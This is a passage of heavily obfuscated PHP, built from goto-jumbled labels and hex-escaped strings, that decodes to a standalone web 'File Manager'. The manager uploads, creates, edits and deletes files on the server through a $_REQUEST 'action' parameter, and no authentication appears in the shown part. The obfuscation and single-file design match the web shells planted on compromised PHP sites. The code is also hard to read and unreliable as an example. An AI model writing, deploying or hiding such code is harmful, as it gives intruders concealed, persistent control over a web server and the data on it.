"\x27\40\175\73\xa\40\x20\x20\40\x20\40\40\x20\143\x6f\156\163\164\40\125\120\114\117\101\104\137\114\x49\115\x49\124\x5f\115\102\x20\75\x20\x38\x3b\12\40\x20\x20\40\x20\x20\x20\x20\x63\x6f\x6e\x73\x74\x20\144\x6f\155\x20\75\x20\x7b\x20\x66\x69\x6c\145\114\x69\x73\x74\72\144\x6f\143\165\155\x65\x6e\x74\x2e\x67\x65\164\x45\154\145\155\x65\x6e\164\x42\x79\x49\x64\50\x27\146\x69\x6c\x65\114\151\163\x74\x27\51\x2c\x70\x61\x74\150\102\141\x72\x3a\x64\x6f\x63\165\x6d\x65\x6e\x74\x2e\147\x65\x74\x45\154\145\155\x65\156\164\x42\x79\111\x64\50\47\160\141\x74\150\x42\x61\162\x27\x29\54\x75\160\154\x6f\141\144\x42\164\x6e\72\144\157\x63\x75\x6d\145\x6e\164\x2e\x67\145\164\x45\154\145\x6d\145\x6e\164\x42\x79\111\x64\50\47\x75\x70\154\x6f\141\144\x42\164\156\47\51\x2c\156\x65\167\x46\151\154\x65\102\164\156\x3a\144\157\143\165\x6d\145\x6e\164\x2e\147\x65\164\105\x6c\x65\155\x65\156\x74\102\171\x49\x64\50\47\x6e\145\x77\106\151\x6c\145\x42\x74\156\x27\51\54\x6e\x65\x77\x46\x6f\x6c\x64\x65\162\x42\164\156\x3a\x64\157\x63\165\155\145\x6e\164\x2e\x67\x65\x74\105\x6c\145\155\x65\x6e\x74\x42\171\111\144\50\x27\x6e\x65\x77\106\157\x6c\x64\x65\x72\x42\164\156\47\x29\54\x64\x65\154\145\x74\x65\102\164\156\x3a\144\x6f\x63\165\155\x65\156\x74\56\147\145\164\x45\x6c\145\x6d\x65\x6e\164\x42\x79\x49\144\50\47\144\145\x6c\x65\164\x65\102\164\x6e\47\x29\x2c\163\145\154\x65\143\x74\101\154\154\x3a\144\157\143\x75\155\145\156\164\x2e\x67\x65\x74\105\154\x65\155\145\x6e\164\x42\171\x49\x64\50\47\163\x65\x6c\x65\x63\x74\101\154\154\47\x29\54\163\160\151\156\156\x65\162\x3a\x64\x6f\x63\165\155\x65\x6e\x74\56\x67\x65\164\105\x6c\145\x6d\145\156\x74\102\x79\111\144\x28\47\x73\160\151\x6e\x6e\x65\x72\47\x29\54\x68\x69\x64\x64\145\156\106\x69\x6c\145\x49\x6e\160\165\x74\x3a\x64\157\143\165\155\x65\156\164\x2e\x67\145\164\x45\x6c\145\x6d\x65\156\164\102\x79\111\144\x28\x27\150\x69\x64\144\145\x6e\x46\x69\x6c\x65\x49\x6e\160\165\x74\47\51\54\145\x64\x69\x74\x6f\162\115\157\144\x61\x6c\x3a\x64\x6f\143\x75\x6d\145\x6e\x74\56\x67\145\x74\x45\154\145\x6d\x65\x6e\x74\102\x79\111\x64\50\x27\145\x64\151\x74\x6f\162\115\157\144\x61\154\x27\x29\x2c\x65\x64\151\x74\x6f\x72\106\151\x6c\x65\156\141\155\x65\72\x64\157\x63\x75\155\145\156\x74\x2e\x67\x65\164\105\x6c\x65\155\145\x6e\164\102\x79\x49\144\50\x27\x65\144\151\x74\157\162\x46\151\x6c\x65\x6e\x61\155\x65\x27\x29\54\145\x64\151\x74\x6f\162\x3a\x64\x6f\x63\165\x6d\x65\156\164\x2e\x67\x65\164\105\154\x65\155\145\156\x74\102\171\111\144\50\47\145\144\151\164\157\162\x27\51\x2c\x73\x61\166\x65\x42\164\x6e\72\x64\157\143\165\x6d\145\x6e\164\56\x67\145\x74\105\x6c\x65\x6d\x65\156\164\x42\x79\111\x64\50\x27\x73\x61\166\x65\102\x74\156\47\51\54\175\73\xa\x20\x20\40\x20\40\40\x20\x20\12\40\40\x20\40\40\x20\40\x20\x61\163\x79\156\x63\x20\x66\165\x6e\x63\164\x69\x6f\x6e\x20\x61\x70\151\103\141\154\154\50\x61\x63\164\x69\157\156\54\x20\146\157\162\x6d\x44\141\x74\x61\x2c\x20\163\150\x6f\x77\x53\x75\143\143\x65\163\x73\x3d\x66\x61\154\163\145\51\40\173\xa\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x64\157\155\56\163\160\x69\156\156\x65\162\56\x73\164\x79\154\145\56\144\x69\x73\x70\x6c\x61\171\75\x27\x69\156\x6c\151\x6e\145\x2d\142\x6c\x6f\143\x6b\47\x3b\xa\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\164\x72\171\x20\x7b\x20\x66\157\x72\x6d\x44\141\x74\x61\x2e\141\x70\160\145\156\x64\x28\x27\141\x63\x74\x69\157\x6e\x27\x2c\x20\141\143\164\x69\x6f\x6e\51\x3b\x20\x63\x6f\x6e\x73\x74\40\x72\x65\x73\x70\x6f\156\163\145\x20\x3d\40\141\x77\141\151\x74\40\146\x65\x74\x63\150\50\47"; goto jpATj; GgJdS: echo json_encode($Tyg9r); goto dZsJG; EgjCJ: goto aeH6T; goto MWvnV; iFeL4: LWDlr: goto zADVl; V2eM9: gijUJ: goto jyDlw; D1dWw: goto nkKsj; goto Ok1iN; zf7wk: MnLTW: goto MBSyP; fBc2x: goto pFbN1; goto zD5JX; sl5Un: cXDLz: goto j1bgv; Ok1iN: aMBZW: goto b500O; zD5JX: pFbN1: goto qPNd2; lN583: goto LWDlr; goto BPamV; CloNN: goto iNy8u; goto skDKH; r3FsV: goto aMBZW; goto XDuBK; MWvnV: DSQwx: goto QA50U; QA50U: echo basename(__FILE__); goto XZwg1; SMUPI: ovHXR: goto Ep_1u; jvptV: aeH6T: goto RAuos; Jo5AP: exit; goto fBc2x; O8587: goto MNhwf; goto aXf_v; qPNd2: xe4p9: goto EgjCJ; KlgQO: $xQUjg = $_REQUEST["\x61\143\164\x69\x6f\156"]; goto WDS1w; lIujQ: goto unq8k; goto hbeg_; AooNt: nRRuM: goto p_EkM; zADVl: function sgvDX($Yywi3) { return is_string($Yywi3) ? stripslashes($Yywi3) : $Yywi3; } goto P1suX; P1suX: goto cXDLz; goto sl5Un; hbeg_: iNy8u: goto P1QEM; jpATj: goto DSQwx; goto jZD4R; gxKF9: f1_Qw: goto lhNie; skDKH: EuSY5: goto s28Fg; Ep_1u: function YvT49($L_G0r) { goto UojcL; Fn7EP: $L_G0r = preg_replace("\x2f\x5c\163\x2b\x2f", "\137", $L_G0r); goto ULW_V; pKxrE: $MEr3j = ["\x22", "\47", "\46", "\57", "\x5c", "\77", "\43", "\x3c", "\76", "\x7c", "\x3a", "\52"]; goto kGOpS; y2Bv1: $L_G0r = trim($L_G0r); goto V5ASq; PODJ2: gqr5X: goto Fn7EP; V5ASq: goto gqr5X; goto XkHa6; ZUzjO: xj5sT: goto OCBi2; xOIAm: goto rEePA; goto zFrzJ; nryN2: $L_G0r = str_replace($MEr3j, '', $L_G0r); goto xOIAm; OCBi2: return $L_G0r; goto Irp13; XkHa6: W0F7j: goto FeC08; kGOpS: goto GLRY6; goto ZUzjO; lsPlB: Y64lX: goto pKxrE; zFrzJ: rEePA: goto y2Bv1; ULW_V: goto xj5sT; goto lsPlB; Irp13: goto W0F7j; goto Ak4V3; Ak4V3: GLRY6: goto nryN2; UojcL: goto Y64lX; goto PODJ2; FeC08: } goto D1dWw; lhNie: function BsWkk($nzCXI) { return realpath($nzCXI) !== false || is_dir(dirname($nzCXI)); } goto lIujQ; CHLm3: goto ovHXR; goto qTgMQ; b500O: echo Z3B6O(__DIR__); goto jAZ2U; G4uAy: goto MnLTW; goto zf7wk; XDuBK: Qlfzv: goto Jo5AP; qTgMQ: CseDI: goto O3VoV; fa0Ik: goto xe4p9; goto V2eM9; jZD4R: unq8k: goto KlgQO; jAZ2U: goto nRRuM; goto gxKF9; rWQU5: if (isset($_REQUEST["\x61\143\164\x69\157\x6e"])) { goto gijUJ; } goto fa0Ik; RAuos: echo "\74\41\x44\117\103\124\x59\x50\105\40\x68\164\155\154\76\xa\x3c\150\x74\155\x6c\40\x6c\x61\x6e\147\75\42\145\156\x22\76\xa\x3c\x68\x65\141\x64\76\xa\x20\x20\x20\x20\74\x6d\145\164\x61\40\143\150\141\x72\x73\x65\164\x3d\42\125\124\106\55\70\x22\76\x3c\164\151\x74\154\145\x3e\x46\x69\x6c\x65\40\115\141\156\x61\x67\x65\162\x3c\x2f\x74\x69\x74\154\145\x3e\74\x6d\x65\164\141\40\156\141\155\x65\x3d\42\166\x69\x65\x77\160\157\x72\164\42\40\x63\x6f\156\x74\x65\156\164\x3d\x22\167\x69\144\x74\150\x3d\x64\x65\x76\x69\143\145\55\167\x69\144\x74\150\54\40\151\156\x69\x74\151\141\154\x2d\163\x63\141\154\x65\x3d\x31\56\60\42\x3e\xa\40\x20\x20\x20\x3c\x73\x74\x79\x6c\145\76\12\x20\x20\40\x20\40\x20\40\40\x3a\162\157\157\164\173\55\x2d\141\143\x63\145\156\x74\55\x63\x6f\x6c\157\x72\x3a\x23\x32\62\67\x31\x62\61\x3b\55\x2d\150\157\x76\x65\162\55\x63\x6f\154\157\162\x3a\43\x31\145\66\65\71\144\73\x2d\x2d\x64\x61\156\x67\145\x72\55\143\x6f\x6c\157\x72\x3a\x23\x64\x36\63\66\63\70\x3b\x7d\xa\40\x20\x20\40\40\40\40\40\142\157\x64\x79\173\x66\157\156\164\x2d\x66\x61\x6d\151\154\171\72\55\x61\x70\160\x6c\x65\55\x73\x79\163\x74\145\155\x2c\102\x6c\x69\x6e\x6b\115\x61\143\x53\x79\163\164\145\155\x46\x6f\x6e\164\x2c\42\123\145\147\x6f\145\40\x55\111\x22\54\122\157\x62\x6f\x74\x6f\54\117\170\x79\x67\x65\156\x2d\123\141\156\163\54\x55\x62\x75\x6e\164\165\x2c\103\141\156\x74\x61\162\145\154\154\x2c\x22\x48\x65\x6c\x76\145\164\151\x63\x61\x20\116\x65\165\145\42\x2c\163\141\x6e\163\x2d\x73\145\x72\x69\x66\73\142\141\x63\153\147\162\x6f\x75\156\x64\72\43\x66\x30\x66\60\x66\61\x3b\155\x61\162\147\151\156\72\x30\x3b\x7d\xa\x20\40\40\40\40\40\40\40\x2e\x63\x6f\156\164\141\x69\156\145\162\x7b\144\x69\x73\160\x6c\141\171\72\146\154\145\170\x3b\146\154\x65\170\55\144\x69\162\145\x63\x74\x69\x6f\x6e\x3a\x63\x6f\154\x75\x6d\x6e\x3b\x68\145\151\147\150\164\72\61\x30\60\166\x68\73\x7d\150\x65\x61\x64\x65\162\x7b\142\x61\x63\153\x67\162\x6f\165\156\144\72\43\x66\x66\146\x3b\x70\141\144\144\151\x6e\x67\72\61\60\160\x78\x20\x32\x30\x70\170\73\x62\157\x72\x64\x65\162\x2d\x62\x6f\164\x74\x6f\x6d\72\61\x70\170\x20\163\157\x6c\x69\x64\x20\43\x64\144\144\73\x64\x69\x73\160\x6c\141\x79\72\146\154\145\x78\73\152\165\x73\x74\151\x66\x79\x2d\x63\x6f\156\x74\x65\x6e\164\x3a\163\160\141\143\145\55\x62\x65\x74\x77\x65\145\156\x3b\141\154\x69\x67\156\55\x69\164\145\155\163\72\143\x65\156\164\x65\x72\73\x66\x6c\x65\170\x2d\x73\150\x72\151\x6e\x6b\72\60\73\175\x6d\141\x69\x6e\x7b\146\154\145\x78\x2d\147\162\x6f\x77\72\61\x3b\x70\141\144\144\151\156\x67\72\x32\x30\x70\x78\73\157\x76\x65\162\x66\154\x6f\167\55\171\x3a\141\165\x74\x6f\73\x7d\x2e\164\157\157\154\x62\141\x72\173\x6d\x61\x72\x67\x69\x6e\x2d\142\x6f\x74\x74\x6f\155\x3a\61\65\160\170\73\144\151\163\x70\x6c\141\171\x3a\x66\x6c\x65\170\73\146\154\145\x78\x2d\x77\x72\x61\160\72\167\x72\141\160\73\x67\141\x70\x3a\x31\60\x70\170\73\x61\x6c\151\x67\156\55\x69\164\x65\x6d\163\x3a\143\x65\x6e\164\145\x72\x3b\x7d\x2e\160\141\x74\150\x2d\x62\x61\162\173\x62\x61\x63\153\x67\x72\157\165\156\x64\x3a\43\146\146\146\73\160\x61\144\x64\x69\x6e\147\72\x38\x70\x78\40\x31\x32\160\x78\73\142\157\162\144\x65\x72\55\162\x61\x64\x69\x75\163\x3a\64\x70\170\x3b\x62\x6f\x72\144\145\162\x3a\x31\160\170\40\163\x6f\x6c\x69\x64\x20\x23\144\x64\144\x3b\146\157\x6e\164\x2d\146\x61\x6d\151\154\x79\x3a\x6d\157\156\157\163\160\141\143\145\x3b\x66\154\x65\x78\55\147\162\x6f\167\72\61\x3b\x77\157\162\x64\x2d\x62\x72\x65\x61\153\x3a\x62\x72\145\x61\x6b\55\x61\x6c\x6c\x3b\175\x2e\146\151\154\x65\55\164\141\142\x6c\x65\x7b\167\151\x64\x74\150\x3a\61\x30\x30\45\73\x62\x6f\x72\144\145\x72\55\x63\x6f\x6c\x6c\x61\160\163\145\72\x63\157\154\154\141\x70\x73\x65\x3b\x62\x61\143\153\147\x72\157\165\x6e\144\x3a\43\146\146\x66\x3b\x74\x61\x62\x6c\145\x2d\154\x61\x79\x6f\x75\x74\x3a\x66\151\x78\x65\x64\x3b\175\56\x66\x69\154\x65\x2d\164\x61\x62\154\x65\40\164\150\x2c\x2e\146\x69\x6c\x65\x2d\x74\x61\x62\154\145\x20\x74\x64\x7b\x74\x65\x78\164\55\x61\x6c\x69\x67\x6e\72\154\x65\x66\164\73\x62\x6f\162\x64\145\x72\x2d\142\157\x74\164\157\155\x3a\x31\160\170\40\x73\157\154\151\x64\x20\x23\145\145\x65\x3b\166\x65\162\x74\151\x63\x61\154\x2d\x61\x6c\x69\147\x6e\72\155\x69\144\x64\x6c\x65\x3b\167\157\162\x64\x2d\167\162\141\x70\x3a\142\162\145\x61\153\x2d\x77\157\162\x64\73\175\x2e\146\x69\x6c\x65\x2d\164\141\142\x6c\x65\40\164\150\173\142\141\143\x6b\147\x72\x6f\x75\x6e\144\72\x23\x66\71\x66\71\x66\71\73\160\x61\144\x64\151\156\147\x3a\61\62\x70\x78\x20\70\160\170\73\x7d\56\x66\x69\x6c\x65\x2d\164\x61\x62\x6c\145\x20\164\162\72\x68\157\166\x65\162\173\142\x61\x63\x6b\x67\162\157\x75\156\144\72\x23\146\x30\x66\70\146\x66\73\175\x2e\x66\151\154\x65\x2d\164\x61\142\154\x65\40\164\150\x3a\x6e\x74\150\x2d\x63\x68\x69\x6c\x64\x28\x31\51\54\56\x66\151\x6c\145\55\x74\141\142\x6c\145\40\x74\144\x3a\156\164\150\x2d\x63\150\x69\x6c\144\x28\x31\x29\173\167\x69\x64\164\150\x3a\x34\60\160\170\x3b\x70\141\144\144\x69\x6e\147\x3a\x31\62\160\x78\40\64\x70\170\40\x31\x32\160\x78\40\61\62\160\170\73\x74\145\170\x74\x2d\x61\154\151\x67\x6e\72\x63\x65\156\x74\x65\x72\73\x7d\x2e\x66\151\x6c\145\x2d\x74\141\142\154\x65\40\164\x68\x3a\x6e\164\x68\x2d\143\x68\x69\154\144\50\62\x29\x2c\x2e\x66\151\154\145\x2d\x74\x61\x62\154\145\40\164\x64\72\x6e\x74\x68\55\143\x68\x69\x6c\x64\50\62\51\173\167\151\x64\164\150\72\x35\x30\x25\73\x70\x61\x64\x64\151\156\x67\x2d\154\x65\146\x74\72\x34\x70\x78\x3b\175\56\146\x69\154\145\55\x74\141\142\154\145\40\x74\150\x3a\156\x74\150\x2d\143\150\151\154\144\50\63\x29\54\56\x66\x69\x6c\145\x2d\164\x61\x62\154\x65\40\164\x64\72\156\164\x68\55\143\150\151\x6c\x64\x28\63\51\x7b\x77\x69\x64\x74\150\x3a\x31\x32\60\160\170\x3b\175\56\x66\151\154\145\55\164\x61\x62\x6c\x65\x20\x74\x68\x3a\x6e\x74\150\55\x63\x68\x69\x6c\x64\x28\x34\x29\x2c\x2e\x66\x69\154\x65\x2d\x74\x61\x62\154\x65\x20\164\144\72\x6e\x74\x68\55\x63\150\151\154\144\50\64\51\173\167\151\144\164\x68\72\61\65\60\x70\x78\73\x7d\56\x66\151\x6c\x65\x2d\164\141\x62\x6c\x65\x20\x74\150\x3a\x6e\x74\150\55\143\150\x69\x6c\144\50\65\x29\173\x74\145\x78\164\x2d\141\x6c\x69\x67\x6e\72\162\151\x67\x68\164\x3b\160\141\144\144\x69\x6e\147\55\x72\x69\x67\150\x74\72\x31\x32\160\170\73\x7d\56\x61\x63\164\x69\157\156\x73\x7b\x64\151\163\x70\154\141\x79\x3a\146\154\x65\x78\73\x6a\x75\x73\x74\151\x66\x79\55\143\157\156\164\145\x6e\164\x3a\146\x6c\x65\x78\55\145\156\x64\73\x67\141\160\x3a\x35\160\x78\x3b\175\56\x69\164\145\155\55\x6c\151\156\153\54\x61\56\x69\x74\x65\x6d\x2d\x6c\151\x6e\153\x7b\x74\x65\170\164\55\144\x65\x63\x6f\162\x61\x74\151\157\x6e\72\x6e\157\x6e\145\x21\151\155\x70\x6f\x72\164\x61\x6e\x74\73\143\x6f\154\x6f\162\x3a\x76\x61\162\x28\x2d\55\141\143\x63\145\x6e\x74\x2d\143\157\x6c\157\x72\x29\x3b\143\165\x72\x73\x6f\162\x3a\x70\x6f\151\x6e\164\145\x72\73\175\56\x69\x74\x65\155\x2d\154\x69\156\153\x3a\150\x6f\x76\x65\x72\x2c\141\56\151\164\x65\155\55\x6c\x69\156\153\72\x68\157\x76\145\162\173\143\x6f\154\x6f\x72\x3a\166\x61\162\x28\x2d\x2d\x68\157\x76\x65\162\55\143\x6f\x6c\157\162\x29\x3b\x7d\x74\162\133\x64\141\164\x61\x2d\x70\x61\x74\150\x5d\173\x63\x75\162\x73\x6f\162\x3a\x70\157\151\156\x74\145\x72\73\x7d\x2e\142\165\x74\x74\157\x6e\x7b\x62\141\143\153\147\162\x6f\x75\x6e\144\x3a\x76\141\162\50\55\x2d\141\x63\x63\145\x6e\x74\x2d\143\157\x6c\157\162\51\73\x63\x6f\154\157\162\72\167\150\151\x74\145\x3b\142\157\162\x64\145\x72\72\156\x6f\x6e\145\x3b\x70\x61\x64\144\151\x6e\x67\x3a\x38\x70\170\40\x31\x32\x70\170\x3b\x62\157\162\144\x65\x72\55\x72\141\144\x69\165\x73\x3a\x33\x70\170\x3b\143\x75\x72\x73\157\162\x3a\x70\157\151\156\164\x65\x72\73\x66\157\x6e\x74\55\x73\x69\172\x65\72\61\64\160\x78\x3b\175\56\142\165\164\x74\x6f\156\x2e\144\141\156\147\x65\162\x7b\142\x61\143\153\x67\x72\x6f\x75\156\144\72\x76\x61\x72\50\55\55\x64\141\156\147\145\x72\55\x63\157\154\x6f\162\x29\x3b\175\43\x73\x70\151\x6e\x6e\145\162\173\x64\151\163\x70\154\x61\171\72\x6e\x6f\x6e\x65\73\175\x2e\155\157\x64\141\154\55\x6f\x76\145\162\x6c\x61\171\x7b\x64\x69\x73\160\x6c\141\x79\72\x6e\x6f\156\145\x3b\x70\157\x73\151\164\151\157\156\72\x66\x69\170\145\x64\73\x74\x6f\x70\72\x30\x3b\154\x65\146\164\72\x30\73\167\151\x64\x74\150\72\x31\x30\60\x25\73\150\145\151\147\x68\x74\72\x31\60\60\45\x3b\x62\x61\x63\153\x67\x72\157\x75\156\144\72\x72\147\x62\141\50\x30\54\60\x2c\x30\54\x30\x2e\x36\51\73\172\55\x69\156\x64\145\x78\x3a\x31\60\60\60\x3b\152\x75\163\x74\x69\x66\x79\x2d\143\x6f\x6e\164\145\156\164\x3a\x63\x65\x6e\164\145\x72\x3b\x61\x6c\x69\x67\x6e\55\151\x74\x65\155\163\x3a\143\145\156\164\x65\x72\73\x7d\x2e\x6d\x6f\x64\141\154\55\x63\x6f\156\x74\145\x6e\x74\x7b\x64\151\163\x70\154\141\x79\72\x66\154\145\170\x3b\x66\x6c\x65\x78\x2d\x64\x69\162\x65\143\x74\x69\x6f\x6e\x3a\143\157\x6c\x75\155\x6e\73\142\141\x63\153\147\162\157\x75\156\144\x3a\43\x66\x66\x66\73\x70\x61\144\144\x69\156\147\x3a\x32\x30\160\x78\73\142\x6f\162\x64\145\162\55\x72\141\144\151\165\163\x3a\x35\x70\x78\x3b\167\151\x64\x74\150\72\70\x30\x25\73\x68\145\151\x67\x68\164\x3a\x38\x30\x25\x3b\x6d\x61\x78\x2d\x77\151\x64\x74\150\72\x39\60\60\x70\x78\x3b\x62\x6f\170\55\x73\150\x61\144\157\x77\x3a\x30\x20\65\x70\x78\40\x31\x35\x70\170\40\162\x67\x62\x61\50\60\54\60\54\60\x2c\x30\x2e\63\x29\73\x7d\164\145\170\164\x61\x72\145\x61\x23\x65\144\151\x74\x6f\x72\173\146\154\x65\x78\55\147\162\157\x77\72\x31\73\146\x6f\x6e\164\x2d\x66\141\155\x69\154\x79\x3a\x6d\157\156\x6f\163\160\141\143\145\73\x66\x6f\156\164\x2d\163\151\172\x65\x3a\x31\x34\160\x78\x3b\142\157\162\x64\x65\x72\72\x31\x70\x78\40\x73\x6f\x6c\151\144\x20\x23\144\x64\x64\x3b\160\141\144\x64\151\x6e\x67\72\x31\x30\160\170\x3b\x7d\12\x20\40\40\40\x3c\x2f\163\x74\171\x6c\145\x3e\xa\x3c\x2f\x68\x65\x61\x64\76\xa\x3c\142\157\144\171\x3e\12\x20\40\40\x20\x3c\144\x69\x76\x20\143\x6c\141\163\x73\x3d\42\x63\157\156\164\141\x69\x6e\145\162\x22\76\12\x20\40\x20\x20\x20\40\x20\x20\74\x68\145\141\x64\145\162\x3e\74\150\x33\76\106\151\x6c\x65\40\x4d\x61\156\141\147\x65\162\40\50\123\x74\141\x6e\x64\x61\x6c\x6f\x6e\145\x29\x3c\x2f\150\x33\x3e\74\x2f\x68\145\x61\x64\145\x72\76\12\x20\x20\40\40\40\x20\40\x20\74\155\141\x69\156\76\xa\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\74\x64\x69\166\40\x63\154\x61\x73\x73\x3d\x22\x74\157\x6f\x6c\x62\141\x72\42\76\74\x62\x75\164\164\x6f\x6e\x20\143\x6c\141\163\163\x3d\42\x62\165\x74\164\x6f\156\x22\x20\151\x64\75\x22\165\x70\x6c\x6f\141\144\x42\164\x6e\x22\76\77\x3f\x3f\357\277\240\77\77\77\x3f\x3f\x3f\x3f\x3f\77\77\x3f\313\211\x3f\x3f\x3f\x3f\77\x3f\x3f\x3f\40\125\160\154\x6f\x61\144\74\57\x62\165\x74\x74\157\x6e\76\x3c\x62\165\164\164\157\x6e\40\143\154\x61\163\x73\x3d\42\142\x75\x74\164\x6f\x6e\42\x20\151\x64\75\42\156\145\167\106\x69\154\145\x42\x74\x6e\42\76\77\77\x3f\302\xb0\x3f\77\77\x3f\x3f\77\x3f\x3f\x3f\77\77\77\40\x4e\145\x77\40\106\151\154\145\x3c\x2f\142\x75\164\164\157\x6e\76\74\142\x75\164\164\157\x6e\x20\143\154\x61\x73\x73\75\x22\142\165\164\164\157\x6e\x22\x20\x69\144\x3d\x22\156\145\x77\106\157\x6c\x64\x65\162\x42\x74\x6e\x22\76\x3f\x3f\77\357\xbf\240\77\x3f\77\77\77\77\x3f\77\x20\x4e\x65\x77\40\106\x6f\154\144\145\162\x3c\57\142\165\164\x74\x6f\156\x3e\x3c\142\165\164\x74\x6f\156\x20\x63\x6c\141\x73\x73\x3d\42\x62\x75\164\164\157\156\x20\x64\x61\x6e\x67\145\162\x22\40\x69\144\75\42\144\145\x6c\x65\x74\145\102\164\x6e\x22\x3e\x3f\77\x3f\xc2\260\77\77\x3f\77\77\x3f\77\77\x3f\77\x3f\x3f\77\77\x3f\313\x89\x3f\77\77\77\77\x3f\x3f\77\x20\x44\145\154\145\164\x65\x20\x53\145\154\145\143\x74\x65\x64\74\x2f\x62\x75\x74\164\157\156\x3e\x3c\x64\x69\x76\x20\x69\144\75\x22\163\x70\151\x6e\x6e\145\162\x22\x3e\x3f\x3f\77\302\260\77\77\77\x3f\x3f\77\x3f\x3f\77\77\77\x3f\74\57\144\151\166\x3e\x3c\57\144\x69\166\76\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\74\x64\x69\x76\x20\143\154\x61\x73\x73\75\42\164\x6f\157\154\x62\x61\x72\x22\x3e\74\144\151\166\x20\x63\x6c\x61\163\x73\75\x22\x70\x61\x74\150\x2d\x62\141\162\x22\40\151\x64\x3d\x22\160\141\x74\x68\102\141\x72\x22\x3e\x2f\x3c\x2f\x64\x69\166\x3e\74\57\x64\151\x76\x3e\xa\40\40\40\40\40\40\x20\40\40\x20\40\40\74\x74\141\x62\x6c\145\x20\143\x6c\141\x73\163\75\42\146\x69\154\145\55\x74\141\142\154\x65\42\76\74\x74\x68\x65\141\x64\x3e\x3c\164\162\x3e\74\164\x68\x3e\x3c\x69\156\160\x75\164\40\164\x79\160\145\x3d\x22\x63\150\145\x63\153\142\x6f\x78\42\40\x69\x64\75\x22\x73\x65\x6c\x65\143\x74\x41\x6c\154\42\x3e\74\x2f\164\150\76\x3c\164\x68\x3e\116\141\155\x65\x3c\x2f\164\150\76\x3c\164\x68\76\123\x69\x7a\x65\x3c\57\x74\x68\76\74\x74\x68\x3e\115\157\144\151\146\151\x65\x64\74\x2f\164\150\76\74\x74\x68\x3e\x41\143\164\x69\157\x6e\163\74\57\x74\150\x3e\x3c\57\164\162\x3e\74\x2f\164\150\x65\141\x64\76\x3c\164\142\157\x64\x79\40\x69\x64\75\42\x66\x69\x6c\x65\114\x69\163\x74\x22\76\74\57\x74\x62\157\x64\171\x3e\x3c\x2f\164\x61\x62\x6c\145\x3e\xa\x20\40\x20\40\x20\40\x20\40\x3c\x2f\x6d\x61\x69\156\76\xa\40\x20\x20\40\74\x2f\x64\151\x76\x3e\12\40\40\x20\40\74\144\151\x76\40\x69\x64\75\x22\x65\144\x69\x74\157\162\115\157\x64\x61\154\42\x20\143\154\x61\163\x73\x3d\42\155\x6f\144\x61\x6c\x2d\x6f\x76\x65\162\x6c\x61\x79\42\76\74\x64\151\x76\40\143\x6c\141\x73\163\x3d\42\155\157\144\x61\x6c\x2d\x63\x6f\x6e\164\x65\156\x74\x22\76\x3c\150\x33\40\x69\x64\75\x22\x65\144\151\164\x6f\162\106\151\154\x65\x6e\x61\155\x65\x22\x20\163\x74\171\154\145\75\x22\x6d\x61\162\147\151\156\55\x74\x6f\x70\72\60\73\x22\76\x3c\x2f\150\x33\x3e\74\x74\145\x78\x74\x61\162\x65\x61\x20\151\144\x3d\x22\x65\x64\151\x74\x6f\162\x22\x20\x73\160\x65\154\154\x63\x68\x65\143\153\x3d\42\x66\x61\154\x73\145\x22\76\74\57\164\x65\x78\x74\141\x72\145\141\x3e\74\144\151\166\x20\163\164\x79\x6c\x65\75\x22\x6d\141\x72\147\x69\156\x2d\164\157\x70\x3a\x31\60\160\x78\x3b\x22\x3e\74\142\x75\164\x74\x6f\x6e\40\143\x6c\x61\x73\163\75\42\x62\165\164\x74\157\156\x22\x20\x69\144\x3d\42\163\141\166\x65\x42\164\156\42\76\x3f\77\77\xc2\xb0\x3f\x3f\x3f\77\77\77\77\77\x3f\77\77\x3f\40\123\141\x76\x65\x20\x43\x68\141\x6e\147\x65\x73\74\x2f\142\x75\164\x74\157\x6e\76\x3c\142\165\x74\164\x6f\156\40\143\x6c\141\x73\x73\x3d\x22\x62\x75\x74\x74\157\156\42\x20\157\156\x63\154\151\x63\153\75\42\144\x6f\143\x75\x6d\x65\x6e\164\56\x67\x65\164\105\x6c\x65\155\x65\x6e\164\x42\171\x49\144\50\x27\145\144\x69\x74\x6f\x72\x4d\x6f\144\141\x6c\47\x29\56\x73\164\x79\154\x65\56\x64\x69\x73\160\154\141\x79\x3d\x27\156\x6f\156\145\47\42\x3e\x43\x6c\157\x73\145\x3c\57\x62\x75\x74\x74\x6f\x6e\76\x3c\57\x64\x69\166\x3e\74\57\x64\151\166\x3e\74\x2f\144\151\166\x3e\12\40\x20\40\40\x3c\x69\x6e\x70\x75\x74\40\x74\171\160\x65\x3d\x22\146\x69\154\145\42\40\151\144\75\x22\150\x69\144\144\x65\x6e\106\151\x6c\x65\111\156\x70\x75\x74\x22\40\155\165\154\x74\x69\160\x6c\x65\x20\x73\164\171\x6c\145\x3d\42\x64\x69\163\160\x6c\141\x79\x3a\x6e\x6f\x6e\145\x3b\42\x3e\12\x20\40\40\40\74\163\x63\162\x69\160\x74\x3e\xa\40\x20\40\x20\x64\x6f\143\x75\155\x65\x6e\x74\x2e\x61\144\x64\x45\x76\145\x6e\164\x4c\x69\x73\x74\x65\x6e\145\162\x28\47\x44\x4f\115\103\157\156\x74\x65\x6e\164\114\157\x61\144\145\x64\47\x2c\40\x28\51\40\75\x3e\40\x7b\xa\40\x20\40\x20\40\x20\40\40\143\157\x6e\x73\164\40\123\x54\101\124\x45\x20\75\x20\x7b\40\143\x75\x72\x72\x65\x6e\x74\x50\x61\164\x68\72\40\x27"; goto r3FsV; IcnW0: nkKsj: goto rWQU5; s28Fg: echo "\47\x2c\x20\x7b\x20\x6d\x65\x74\150\157\x64\72\40\47\120\117\x53\124\x27\x2c\40\142\157\144\x79\72\40\146\x6f\x72\x6d\104\141\x74\x61\40\x7d\x29\73\40\x63\x6f\156\x73\164\x20\x72\145\163\x75\154\x74\40\x3d\x20\141\x77\141\151\164\40\162\x65\163\x70\157\156\163\x65\x2e\152\163\x6f\x6e\x28\x29\x3b\x20\x69\146\x20\x28\x21\x72\145\163\165\154\x74\x2e\163\x75\x63\143\145\x73\x73\51\x20\x74\150\x72\x6f\167\x20\x6e\x65\167\40\x45\162\162\157\x72\50\162\145\163\x75\x6c\164\x2e\155\145\x73\x73\141\147\x65\51\73\40\x69\146\x20\x28\x73\150\157\167\x53\x75\x63\x63\145\x73\163\x20\x26\x26\40\x72\x65\x73\165\x6c\x74\x2e\x6d\x65\x73\x73\x61\147\145\x29\x20\141\154\145\162\x74\50\x72\145\x73\165\154\164\56\155\x65\x73\163\141\x67\x65\x29\73\40\